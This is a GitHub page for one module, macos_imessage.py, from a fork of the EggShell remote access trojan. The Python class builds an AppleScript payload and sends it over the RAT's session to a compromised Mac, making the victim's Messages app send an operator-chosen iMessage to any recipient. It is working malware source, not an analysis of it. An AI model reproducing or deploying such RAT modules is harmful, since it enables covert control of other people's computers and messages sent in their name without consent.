forked from The404Hacking/EggShell-RAT
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmacos_imessage.py
More file actions
22 lines (21 loc) · 857 Bytes
/
Copy pathmacos_imessage.py
File metadata and controls
22 lines (21 loc) · 857 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
class payload:
def __init__(self):
self.name = "imessage"
self.description = "send message through the messages app"
self.type = "applescript"
self.id = 116
def run(self,session,server,command):
#do something with session if you want
#we can prompt for input
phone = raw_input("[*] Enter iMessage recipient: ")
message = raw_input("[*] Enter message: ")
#send applescript payload
payload = """tell application "Messages"
set targetService to 1st service whose service type = iMessage
set targetBuddy to buddy \""""+phone+"""\" of targetService
send \""""+message+"""\" to targetBuddy
end tell"""
result = server.sendCommand(self.name,payload,self.type,session.conn)
if result:
print result
return ""